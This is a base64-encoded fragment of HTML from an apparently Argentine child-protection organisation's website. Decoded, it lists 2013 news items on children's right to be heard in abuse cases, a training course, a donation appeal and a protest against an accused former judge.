AwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMi